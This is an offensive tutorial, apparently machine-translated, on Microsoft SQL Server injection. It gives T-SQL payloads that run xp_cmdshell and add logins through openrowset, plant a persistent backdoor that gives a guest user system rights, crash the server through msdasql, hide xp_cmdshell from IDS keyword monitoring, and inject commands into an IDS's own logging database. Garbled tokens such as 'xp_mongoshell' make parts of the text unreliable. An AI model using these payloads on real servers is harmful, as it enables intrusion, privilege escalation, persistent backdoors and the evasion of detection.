Mssql injection to avoid IDS

1. About openrowset and opendatasource
Maybe this technique has already been used, that is, to use openrowset to send local commands. Generally, our usage is (including the MSDN columns) as follows:
Select * from openrowset ('sqloledb', 'myserver'; 'sa'; '', 'select * from table ')

Visible (even literally) openrowset is only used as a fast remote database access. It must be followed by select, that is, A recordset must be returned.

So can we use it to call xp_mongoshell? The answer is yes!
Select * from openrowset ('sqloledb', 'server'; 'sa'; '', 'set fmtonly off exec master. dbo. xp_mongoshel l ''dir c :\''')
Set fmtonly off must be added to prevent the default setting of only returned column information. In this way, the output set returned by xp_cmdshell is submitted to the previous select statement. If the default setting is used, if an empty set is returned, the select statement fails and the command cannot be executed.

So if we want to call sp_addlogin, it will not return any set like xp_cmdshell, so we can no longer rely on fmtonly settings. The following operations can be performed:
Select * from openrowset ('sqloledb', 'server'; 'sa'; '', 'select' OK! ''Exec master. dbo. sp_addlogin Hectic ')

In this way, the command will return at least select 'OK! ', Your machine Chamber of Commerce shows OK !, At the same time, the other database will also add a Hectic account, that is, we use select 'OK! The returned set of 'spoofed the local select request. It means that the command can be executed normally. You can also perform this operation using sp_addsrvrolemember and opendatasource! As for the real use of this method, let's take a look at it: P


2. msdasql two requests

I wonder if you have tried to connect to a remote database using msdasql. Of course, this api must be called by the SQL server administrator.
Select * from openrowset ('msdasql ', 'driver = {SQL server}; server = server; address = server, 1433; uid = sa; pwd =; database = master; network = dbmssocn ', 'select * from table1 select * from table2 ')

When the number of fields in Table 1 and Table 2 is different, you will find that the of the other party crashes and local connection fails, and the system resource usage is normal. after killing the sqlserver process with pskill, if you do not restart the machine, sqlserver can either fail to start normally or often encounter illegal operations. I just happened to find this bug. I have not found the specific cause yet, it is strange that this phenomenon only occurs on msdasql, and sqloledb does not. It seems that the problem is not that the number of request sets does not match the number of returned sets, it should be the problem of msdasql itself. For specific reasons, let's take a closer look at it: P


3. Terrible Backdoor

In the past, it was said on the Internet that webshells can be added to sqlserver by adding triger, jobs, or rewriting sp_addlogin and sp_addsrvrolemember. These methods are feasible, but they are easy to be discovered. I wonder if you have thought about the local connection ing of sqloledb. For example, you can use the Administrator account of sqlserver to execute the following commands on the sqlserver.
Select * from openrowset ('sqloledb', 'trusted _ connection = yes; data source = Hectic ', 'set fmtonly off exec master .. xp_mongoshell ''dir c :\''')

In this way, a local connection ing named Hectic is established on the of the other party. As long as sqlserver is not restarted, The ing will continue to exist, at least I still don't know how to find the connection ing put by others. Well, after running the above command, you will find that even if sqlserver is a guest user without any permissions, you can also run the preceding command! And the permission is localsystem! (Default installation) haha! This method can be used to leave a backdoor on sqlserver, which has been intruded into and obtained administrator permissions. The above method is passed on sqlserver2000 sqlserver2000SP1!

There is another guess. Do you know whether you have noticed the two dsn attached to windows by default? One is localserver and the other is msqi. When the two are created, the local administrator account is used to connect to sqlserver, if the of the other party is started through a custom power user, the sa permission is the same as that of the power user, and it is difficult to make a difference, but we use the following command
Select * from openrowset ('msdasql ', 'dsn = locaserver; trusted_connection = yes', 'set fmtonly off exec master .. xp_mongoshell ''dir c: \ ''') should be able to use the Administrator account of localserver to connect to local sqlserver and then execute local commands with the permission of this account, after that, I think I should be able to break through the sa's power user permissions. The problem is that sqloledb cannot call the dsn connection, while msdasql is not called by the Administrator. Therefore, I am looking for a guest method to call msdasql,

If someone knows how to break through the bug or has a new idea, we can discuss it together. If the bug can be successfully used by guest, it will be a very serious security vulnerability. Because any SQL statement we mentioned above can be submitted to the other party's asp for execution:


4. Using t-SQL to cheat ids or attack ids

Ids has become increasingly intelligent. Some ids are added to the xp_mongoshell sp_addlogin monitoring, but after all, artificial intelligence has not appeared today. Such monitoring is always a lie.

Let's talk about spoofing ids first:

Ids can be used to monitor the xp_mongoshell keyword.
Declare @ a sysname set @ a = "xp _" "shell" exec @ a' dir c :\'

This code can be understood by everyone. There is also xp_mongoshell, as a store procedure, which has an ID number in the master database, which is fixed. We can also do this.

Assume that this id = 988456
Declare @ a sysname select @ a = name from sysobjects where id = 988456 exec @ a 'dir c :\'

Of course.
Declare @ a sysname select @ a = name from sysobjects where id = 988455 1 exec @ a 'dir c :\'

In this way, ids cannot perform full monitoring at all.

Similarly, sp_addlogin can do the same.

Let's talk about the attack ids:

Because ids has a large amount of data, it is usually backed up to a conventional database from day to day, such as SQL server.

Using the old recordset. addnew method will seriously affect the performance of ids, because t-SQL requests through ado are not only highly efficient, but some work can be handed over to SQL server.

Generally, the program writes insert table values ('daily to content ',...)

So let's think about it. If you use temp ') exec xp_mongoshell 'dir c: \' -- after submission, it will become
Insert table values ('Day to content'... 'temp ') exec xp_1_shell 'dir c :\'--')

In this way, xp_mongoshell can be run in the ids Database :)

Of course, ids is a sniffing tool that captures all the messages and changes spaces when submitted by the browser. Therefore, the command is submitted to SQL server, so that your command cannot be executed. The only way is
Insert/**/table/**/values ('Day to content '.... 'temp ')/**/exec/**/xp_cmdshell/**/'dir c :\'/**/--')

Use/**/instead of space as the delimiter so that your t-SQL can be executed in the ids Database. You can also use other statements to back up ids databases to your shared directory.

In fact, the principle of this method is the same as that of attacking asp, but the space is changed /**/. If asp is a select statement, 'can be used to block it. Now ids uses the insert statement, so ') is used for blocking.

Well, you can think about many other new intrusion statements. The best test tool is query analyzer.